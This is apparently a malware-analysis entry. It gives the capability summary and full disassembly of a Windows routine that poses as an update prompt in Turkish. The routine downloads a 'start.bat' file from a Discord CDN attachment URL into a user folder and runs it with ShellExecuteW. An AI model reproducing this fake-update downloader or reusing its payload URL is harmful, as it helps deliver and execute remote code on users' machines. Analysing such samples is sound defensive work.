Function at 0x401170
Capabilities:
Create process on windows
Download url
Get common file path
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4027ed
mov eax, dword fs:[0]
push eax
sub esp, 0x58
mov eax, dword [0x405004]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x5c]
push eax
push 0
push 0
push 0x403168
call dword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
test eax, eax
js 0x40145e
push dword [ebp - 0x5c]
lea ecx, [ebp - 0x58]
call fcn.00401500
mov dword [ebp - 4], 0
push dword [ebp - 0x5c]
call dword [sym.imp.ole32.dll_CoTaskMemFree]
mov ecx, dword [ebp - 0x48]
mov eax, 0x7ffffffe
sub eax, ecx
cmp eax, 0xa
jb 0x40148b
cmp dword [ebp - 0x44], 8
lea eax, [ebp - 0x58]
lea edx, [ecx + 0xa]
mov dword [ebp - 0x18], 0
cmovae eax, dword [ebp - 0x58]
lea edi, [ebp - 0x28]
mov esi, 7
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x14], 0
xorps xmm0, xmm0
mov dword [ebp - 0x60], edx
movups xmmword [ebp - 0x28], xmm0
cmp edx, esi
jbe 0x4012a4
mov esi, edx
or esi, 7
cmp esi, 0x7ffffffe
jbe 0x401237
mov eax, 0x7fffffff
mov esi, 0x7ffffffe
add eax, eax
jmp 0x401258
mov eax, 0xa
cmp esi, eax
cmovb esi, eax
lea eax, [esi + 1]
cmp eax, 0x7fffffff
ja 0x401490
add eax, eax
cmp eax, 0x1000
jb 0x401285
lea ecx, [eax + 0x23]
cmp ecx, eax
jbe 0x401490
push ecx
call fcn.00401a85
add esp, 4
test eax, eax
je 0x40144c
mov ecx, dword [ebp - 0x48]
lea edi, [eax + 0x23]
mov edx, dword [ebp - 0x60]
and edi, 0xffffffe0
mov dword [edi - 4], eax
jmp 0x40129e
test eax, eax
je 0x40129c
push eax
call fcn.00401a85
mov ecx, dword [ebp - 0x48]
add esp, 4
mov edx, dword [ebp - 0x60]
mov edi, eax
jmp 0x40129e
xor edi, edi
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x14], esi
lea esi, [ecx + ecx]
push esi
push eax
push edi
mov dword [ebp - 0x18], edx
call sub.VCRUNTIME140.dll_memcpy
movups xmm0, xmmword [str._start.bat]
xor ecx, ecx
add esp, 0xc
movups xmmword [esi + edi], xmm0
mov eax, dword [0x403208]
mov dword [esi + edi + 0x10], eax
mov eax, dword [ebp - 0x60]
mov word [edi + eax*2], cx
push str.https:__cdn.discordapp.com_attachments_1182018402865401866_1187734506657030154_start.bat
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 1
call fcn.00401500
mov byte [ebp - 4], 2
mov edx, str.Guncellestirme_bulundu__Yapmak_icin_secim_belirt.
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.00401630
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, str.Seciminizi_belirtin:__Y_evet____N___hayir_:
call fcn.00401630
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_istream_wchar_t__struct_std::char_traits_wchar_t___std::wcin]
lea edx, [ebp - 0x60]
call fcn.00401860
mov ax, word [ebp - 0x60]
cmp ax, 0x59
je 0x40132f
cmp ax, 0x79
je 0x40132f
mov edx, str.Secimin__N___hayir__oldugu_icin_uygulama_kapatildi._n
jmp 0x40137d
cmp dword [ebp - 0x14], 8
lea ecx, [ebp - 0x28]
push 0
cmovae ecx, dword [ebp - 0x28]
lea eax, [ebp - 0x40]
cmp dword [ebp - 0x2c], 8
push 0
cmovae eax, dword [ebp - 0x40]
push ecx
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
jne 0x401378
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
push 1
cmovae eax, dword [ebp - 0x28]
push 0
push 0
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
jmp 0x401388
mov edx, str.indirme_islemi_basarisiz._n
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.00401630
mov ecx, dword [ebp - 0x2c]
cmp ecx, 8
jb 0x4013c2
mov edx, dword [ebp - 0x40]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4013b8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40144c
push ecx
push edx
call fcn.00401ab5
add esp, 8
mov ecx, dword [ebp - 0x14]
xor eax, eax
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 7
mov word [ebp - 0x40], ax
cmp ecx, 8
jb 0x40140c
mov edx, dword [ebp - 0x28]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x401402
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40144c
push ecx
push edx
call fcn.00401ab5
add esp, 8
xor eax, eax
mov dword [ebp - 0x18], 0
mov word [ebp - 0x28], ax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x14], 7
cmp eax, 8
jb 0x40146e
mov edx, dword [ebp - 0x58]
lea ecx, [eax*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x401452
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401452
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00401ab5
add esp, 8
jmp 0x40146e
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, str.indirilecek_klasor_yolu_bulunamadi._n
call fcn.00401630
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00401a77
mov esp, ebp
pop ebp
ret
call fcn.00401160
call fcn.004010c0
int3